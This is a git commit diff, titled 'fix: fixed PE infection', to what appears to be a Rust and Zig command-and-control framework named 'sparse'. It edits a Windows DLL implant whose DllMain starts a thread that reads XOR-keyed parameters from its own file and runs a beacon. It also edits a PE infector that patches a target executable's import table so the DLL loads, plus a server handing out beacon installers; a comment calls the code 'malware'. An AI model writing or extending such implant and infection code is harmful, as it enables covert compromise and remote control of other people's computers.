fix: fixed PE infection
This commit is contained in:
parent
d823603054
commit
005048f1ce
@ -41,6 +41,9 @@ where
|
||||
}
|
||||
|
||||
fn call(&mut self, _: Uri) -> Self::Future {
|
||||
if cfg!(debug_assertions) {
|
||||
println!("Connecting!");
|
||||
}
|
||||
Box::pin({
|
||||
let adapter = self.adapter.clone();
|
||||
let params = self.parameters.clone();
|
||||
|
||||
@ -3,26 +3,12 @@ pub mod user;
|
||||
|
||||
#[cfg(feature = "ssr")]
|
||||
pub fn get_db() -> Result<sqlx::SqlitePool, leptos::prelude::ServerFnError> {
|
||||
let owner = leptos::prelude::Owner::current().unwrap();
|
||||
tracing::debug!(
|
||||
"Getting DB; debug ID: {:?}; ancestry: {:?}; type ID: {:?}",
|
||||
owner.debug_id(),
|
||||
owner.ancestry(),
|
||||
std::any::TypeId::of::<sqlx::SqlitePool>(),
|
||||
);
|
||||
|
||||
use leptos::{prelude::*, server_fn::error::NoCustomError};
|
||||
|
||||
match use_context::<sqlx::SqlitePool>() {
|
||||
Some(v) => {
|
||||
tracing::debug!("Got db pool!");
|
||||
Ok(v)
|
||||
}
|
||||
None => {
|
||||
tracing::debug!("Didn't get db pool!");
|
||||
Err(ServerFnError::<NoCustomError>::ServerError(
|
||||
Some(v) => Ok(v),
|
||||
None => Err(ServerFnError::<NoCustomError>::ServerError(
|
||||
"Could not use database connection".to_string(),
|
||||
))
|
||||
}
|
||||
)),
|
||||
}
|
||||
}
|
||||
|
||||
@ -38,7 +38,7 @@ pub async fn get_installer(btype: &str) -> Result<Vec<u8>, crate::error::Error>
|
||||
let path = match btype {
|
||||
"linux" => "target/x86_64-unknown-linux-musl/debug/sparse-unix-installer",
|
||||
"freebsd" => "target/x86_64-unknown-freebsd/debug/sparse-unix-installer",
|
||||
"windows" => "target/x86_64-pc-windows-gnu/debug/sparse-windows-installer",
|
||||
"windows" => "target/x86_64-pc-windows-gnu/debug/sparse-windows-installer.exe",
|
||||
other => {
|
||||
return Err(crate::error::Error::Generic(format!(
|
||||
"unknown beacon type: {other}"
|
||||
@ -323,10 +323,6 @@ pub async fn serve_web(
|
||||
db: db.clone(),
|
||||
};
|
||||
|
||||
println!("{:?}", std::any::TypeId::of::<SqlitePool>());
|
||||
|
||||
dbg!(&routes);
|
||||
|
||||
let app = Router::new()
|
||||
.route(
|
||||
"/binaries/installer/:template_id",
|
||||
@ -338,13 +334,6 @@ pub async fn serve_web(
|
||||
&state,
|
||||
routes,
|
||||
move || {
|
||||
let owner = leptos::prelude::Owner::current().unwrap();
|
||||
tracing::debug!(
|
||||
"Providing DB; debug ID: {:?}; ancestry: {:?}; type ID: {:?}",
|
||||
owner.debug_id(),
|
||||
owner.ancestry(),
|
||||
std::any::TypeId::of::<sqlx::SqlitePool>(),
|
||||
);
|
||||
provide_context(beacon_listeners.clone());
|
||||
provide_context(db.clone());
|
||||
},
|
||||
|
||||
@ -17,6 +17,13 @@ use freebsd::FreeBsdAdapter as Adapter;
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> Result<(), sparse_beacon::BeaconError<<Adapter as BeaconAdapter>::Error>> {
|
||||
#[cfg(target_os = "linux")]
|
||||
let mut binary_file = tokio::fs::OpenOptions::new()
|
||||
.read(true)
|
||||
.open("/proc/self/exe")
|
||||
.await?;
|
||||
|
||||
#[cfg(target_os = "freebsd")]
|
||||
let mut binary_file = tokio::fs::OpenOptions::new()
|
||||
.read(true)
|
||||
.open(std::env::current_exe()?)
|
||||
|
||||
@ -11,7 +11,7 @@ anyhow = "1.0.95"
|
||||
async-trait = "0.1.86"
|
||||
thiserror = "2.0.11"
|
||||
tokio = { version = "1.43.0", features = ["fs", "io-std", "io-util", "rt-multi-thread", "sync"] }
|
||||
windows = { version = "0.59.0", features = ["Win32_NetworkManagement_IpHelper", "Win32_NetworkManagement_Ndis", "Win32_Networking_WinSock", "Win32_System_LibraryLoader", "Win32_System_SystemServices", "Win32_UI_WindowsAndMessaging"] }
|
||||
windows = { version = "0.59.0", features = ["Win32_NetworkManagement_IpHelper", "Win32_NetworkManagement_Ndis", "Win32_Networking_WinSock", "Win32_Security", "Win32_System_LibraryLoader", "Win32_System_SystemServices", "Win32_System_Threading", "Win32_UI_WindowsAndMessaging", "Win32_UI_WindowsAndMessaging"] }
|
||||
windows-result = "0.3.0"
|
||||
windows-strings = "0.3.0"
|
||||
winreg = "0.55"
|
||||
|
||||
@ -51,7 +51,7 @@ impl BeaconAdapter for WindowsAdapter {
|
||||
|
||||
_ = GetAdaptersAddresses(
|
||||
2,
|
||||
GET_ADAPTERS_ADDRESSES_FLAGS(0),
|
||||
GAA_FLAG_INCLUDE_GATEWAYS,
|
||||
None,
|
||||
None,
|
||||
&mut size_pointer as *mut _,
|
||||
@ -67,7 +67,14 @@ impl BeaconAdapter for WindowsAdapter {
|
||||
&mut size_pointer as *mut _,
|
||||
);
|
||||
|
||||
if err != 0 {
|
||||
println!("Size: {size_pointer}");
|
||||
println!(
|
||||
"Raw error: {:?}; {err}",
|
||||
std::io::Error::last_os_error().raw_os_error()
|
||||
);
|
||||
|
||||
if err != 0 && std::io::Error::last_os_error().raw_os_error() != Some(0) {
|
||||
println!("Erroring out here! {err}");
|
||||
Err(std::io::Error::last_os_error())?;
|
||||
}
|
||||
|
||||
|
||||
@ -1,57 +1,76 @@
|
||||
use std::io::SeekFrom;
|
||||
|
||||
use tokio::io::{AsyncReadExt, AsyncSeekExt};
|
||||
use windows::Win32::{
|
||||
Foundation::{FreeLibrary, HMODULE, MAX_PATH},
|
||||
use windows::{
|
||||
core::*,
|
||||
Win32::{
|
||||
Foundation::{CloseHandle, FreeLibrary, HMODULE, MAX_PATH},
|
||||
System::{
|
||||
LibraryLoader::{
|
||||
GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, GetModuleFileNameA, GetModuleHandleExW,
|
||||
DisableThreadLibraryCalls, GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, GetModuleFileNameA, GetModuleHandleExW,
|
||||
},
|
||||
SystemServices::DLL_PROCESS_ATTACH,
|
||||
Threading::{CreateThread, Sleep, THREAD_CREATION_FLAGS}
|
||||
},
|
||||
UI::WindowsAndMessaging::{MessageBoxA, MB_OK},
|
||||
}
|
||||
};
|
||||
|
||||
use sparse_actions::payload_types::{Parameters, XOR_KEY};
|
||||
|
||||
mod adapter;
|
||||
|
||||
#[unsafe(no_mangle)]
|
||||
pub extern "system" fn DllMain(_: usize, dw_reason: u32, _: usize) -> i32 {
|
||||
if dw_reason == DLL_PROCESS_ATTACH {
|
||||
std::thread::spawn(|| {
|
||||
std::thread::yield_now();
|
||||
static mut MODULE_FILENAME: [u8; MAX_PATH as usize] = [0u8; MAX_PATH as usize];
|
||||
static mut MODULE_FILENAME_LEN: u32 = 0;
|
||||
|
||||
if let Err(_e) = hash_internals() {
|
||||
// what are we going to do??
|
||||
// go to the user and say "malware crashed"?
|
||||
#[unsafe(no_mangle)]
|
||||
pub extern "system" fn DllMain(hmodule: HMODULE, dw_reason: u32, _: usize) -> i32 {
|
||||
if dw_reason == DLL_PROCESS_ATTACH {
|
||||
unsafe {
|
||||
MODULE_FILENAME_LEN = GetModuleFileNameA(Some(hmodule), &mut *&raw mut MODULE_FILENAME);
|
||||
}
|
||||
});
|
||||
unsafe { let _ = DisableThreadLibraryCalls(hmodule); }
|
||||
unsafe { allocate_hash_space(); }
|
||||
}
|
||||
1
|
||||
}
|
||||
|
||||
#[unsafe(no_mangle)]
|
||||
pub unsafe extern "system" fn allocate_hash_space() {
|
||||
unsafe {
|
||||
let thr = CreateThread(
|
||||
None,
|
||||
0,
|
||||
Some(prepare_hash),
|
||||
None,
|
||||
THREAD_CREATION_FLAGS(0),
|
||||
None
|
||||
);
|
||||
if let Ok(th) = thr {
|
||||
let _ = CloseHandle(th);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
unsafe extern "system" fn prepare_hash(_param: *mut core::ffi::c_void) -> u32 {
|
||||
unsafe { Sleep(50); }
|
||||
|
||||
if let Err(e) = hash_internals() {
|
||||
if cfg!(debug_assertions) {
|
||||
let msg_buffer = [format!("Sparse error: {e:?}").as_bytes(), &[0]].concat();
|
||||
unsafe {
|
||||
let _ = MessageBoxA(None, PCSTR::from_raw(msg_buffer.as_ptr()), s!("Sparse error!"), MB_OK);
|
||||
};
|
||||
}
|
||||
}
|
||||
0
|
||||
}
|
||||
|
||||
fn hash_internals() -> std::result::Result<(), std::io::Error> {
|
||||
let curr_module = HMODULE(std::ptr::null_mut());
|
||||
let comp_hash = compute_hash as extern "C" fn() -> ();
|
||||
|
||||
if let Err(_) = unsafe {
|
||||
GetModuleHandleExW(
|
||||
GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS,
|
||||
windows_strings::PCWSTR::from_raw(comp_hash as *const () as *const _),
|
||||
curr_module.0 as *mut _,
|
||||
)
|
||||
} {
|
||||
return Err(std::io::Error::last_os_error());
|
||||
}
|
||||
|
||||
let mut name = vec![0u8; MAX_PATH as usize];
|
||||
let name_len = unsafe { GetModuleFileNameA(Some(curr_module), &mut name) as usize };
|
||||
|
||||
unsafe {
|
||||
let _ = FreeLibrary(curr_module);
|
||||
}
|
||||
|
||||
if name_len == 0 {
|
||||
if unsafe { MODULE_FILENAME_LEN } == 0 {
|
||||
return Err(std::io::Error::last_os_error());
|
||||
}
|
||||
|
||||
@ -59,14 +78,15 @@ fn hash_internals() -> std::result::Result<(), std::io::Error> {
|
||||
.enable_all()
|
||||
.build()?;
|
||||
|
||||
rt.block_on(async move { unsafe { hash_stage_2(name[..name_len].to_vec()) }.await })?;
|
||||
|
||||
// MessageBoxW(None, w!("Hi!"), w!("There!"), MB_OK);
|
||||
let fname = unsafe { MODULE_FILENAME[..MODULE_FILENAME_LEN as usize].to_vec() };
|
||||
rt.block_on(async move { unsafe { hash_stage_2(fname) }.await })?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async unsafe fn hash_stage_2(name: Vec<u8>) -> std::result::Result<(), std::io::Error> {
|
||||
sparse_beacon::install_rustls();
|
||||
|
||||
let mut binary_file = tokio::fs::OpenOptions::new()
|
||||
.read(true)
|
||||
.open(unsafe { std::str::from_utf8_unchecked(&name) })
|
||||
@ -83,10 +103,20 @@ async unsafe fn hash_stage_2(name: Vec<u8>) -> std::result::Result<(), std::io::
|
||||
}
|
||||
|
||||
let parameters: Parameters =
|
||||
unsafe { std::mem::transmute(*(parameters_buffer.as_ptr() as *const Parameters)) };
|
||||
unsafe { *(parameters_buffer.as_ptr() as *const Parameters).clone() };
|
||||
|
||||
let _ = sparse_beacon::run_beacon_step(adapter::WindowsAdapter, parameters).await;
|
||||
let err = sparse_beacon::run_beacon_step(adapter::WindowsAdapter, parameters).await;
|
||||
|
||||
if let Err(e) = err {
|
||||
if cfg!(debug_assertions) {
|
||||
let msg_buffer = [format!("Sparse error: {e:?}").as_bytes(), &[0]].concat();
|
||||
unsafe {
|
||||
let _ = MessageBoxA(None, PCSTR::from_raw(msg_buffer.as_ptr()), s!("Sparse error!"), MB_OK);
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
loop {}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
|
||||
@ -8,6 +8,7 @@ mod adapter;
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> anyhow::Result<()> {
|
||||
loop {}
|
||||
sparse_beacon::install_rustls();
|
||||
|
||||
let mut binary_file = tokio::fs::OpenOptions::new()
|
||||
|
||||
@ -1,5 +1,5 @@
|
||||
use std::{
|
||||
io::{Error, prelude::*},
|
||||
io::{prelude::*, Error},
|
||||
path::Path,
|
||||
};
|
||||
|
||||
@ -29,11 +29,7 @@ where
|
||||
*b = *b ^ (XOR_KEY as u8);
|
||||
}
|
||||
|
||||
for i in 0..(sparse_library.len() - sparse_parameters.len()) {
|
||||
if sparse_library[i..(i + sparse_parameters.len())] == vec![b'B'; sparse_parameters.len()] {
|
||||
sparse_library[i..(i + sparse_parameters.len())].copy_from_slice(&sparse_parameters);
|
||||
}
|
||||
}
|
||||
sparse_library.extend(sparse_parameters);
|
||||
|
||||
std::fs::write(&target_library_path, sparse_library)?;
|
||||
|
||||
@ -111,7 +107,6 @@ where
|
||||
};
|
||||
|
||||
struct Section {
|
||||
name: [u8; 8],
|
||||
section_header_idx: usize,
|
||||
data: Vec<u8>,
|
||||
}
|
||||
@ -124,7 +119,6 @@ where
|
||||
.iter()
|
||||
.enumerate()
|
||||
.map(|(section_header_idx, sechdr)| Section {
|
||||
name: sechdr.name.clone(),
|
||||
section_header_idx,
|
||||
data: binary_data[sechdr.raw_data_ptr as usize
|
||||
..(sechdr.raw_data_ptr + sechdr.raw_data_size) as usize]
|
||||
@ -135,7 +129,7 @@ where
|
||||
// modify the PE
|
||||
|
||||
let Some(import_table_section_idx) = section_headers.iter().position(|section| {
|
||||
(section.raw_data_ptr..(section.raw_data_ptr + section.raw_data_size))
|
||||
(section.virtual_address..(section.virtual_address + section.virtual_size))
|
||||
.contains(&optional_header.import_table.virtual_address)
|
||||
}) else {
|
||||
eprintln!("Could not find section with import table");
|
||||
@ -147,9 +141,17 @@ where
|
||||
std::str::from_utf8(§ion_headers[import_table_section_idx].name)
|
||||
);
|
||||
|
||||
let start_index = optional_header.import_table.virtual_address
|
||||
- section_headers[import_table_section_idx].virtual_address
|
||||
+ section_headers[import_table_section_idx].raw_data_ptr;
|
||||
let start_index = section_headers
|
||||
.iter()
|
||||
.find_map(|sh| {
|
||||
(sh.virtual_address..(sh.virtual_address + sh.virtual_size))
|
||||
.contains(&optional_header.import_table.virtual_address)
|
||||
.then_some(
|
||||
optional_header.import_table.virtual_address - sh.virtual_address
|
||||
+ sh.raw_data_ptr,
|
||||
)
|
||||
})
|
||||
.unwrap_or(optional_header.import_table.virtual_address);
|
||||
|
||||
let import_descriptors: *const ImportDescriptor =
|
||||
unsafe { binary_data.as_ptr().offset(start_index as isize) as *const _ };
|
||||
@ -256,7 +258,6 @@ where
|
||||
.to_vec();
|
||||
|
||||
let mut import_section = Section {
|
||||
name: *b".import\0",
|
||||
section_header_idx: section_headers.len() - 1,
|
||||
data: vec![],
|
||||
};
|
||||
@ -306,13 +307,16 @@ where
|
||||
import_section.data.push(0x00);
|
||||
|
||||
let lib_func_name_offset = import_section.data.len();
|
||||
|
||||
let linked_function = b"allocate_hash_space";
|
||||
import_section.data.push(0x02);
|
||||
import_section.data.push(0x00);
|
||||
import_section.data.extend(b"compute_hash");
|
||||
import_section.data.extend(linked_function);
|
||||
|
||||
import_section
|
||||
.data
|
||||
.extend(&vec![0u8; 256 - (file_name.len() + 15)]);
|
||||
import_section.data.extend(&vec![
|
||||
0u8;
|
||||
256 - (file_name.len() + linked_function.len() + 3)
|
||||
]);
|
||||
|
||||
import_section.data.extend(&vec![
|
||||
0u8;
|
||||
|
||||
@ -22,10 +22,9 @@ fn exec_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
|
||||
|
||||
try std.compress.gzip.decompress(gzipped_exe_stream.reader(), exe_file.writer());
|
||||
|
||||
var params_buffer: [@sizeOf(Parameters) + 1]u8 = undefined;
|
||||
var params_buffer: [@sizeOf(Parameters)]u8 = undefined;
|
||||
const params_input_ptr: [*]u8 = @ptrCast(parameters);
|
||||
@memcpy(params_buffer[0..@sizeOf(Parameters)], params_input_ptr);
|
||||
params_buffer[@sizeOf(Parameters)] = 0;
|
||||
|
||||
try exe_file.writer().writeAll(¶ms_buffer);
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user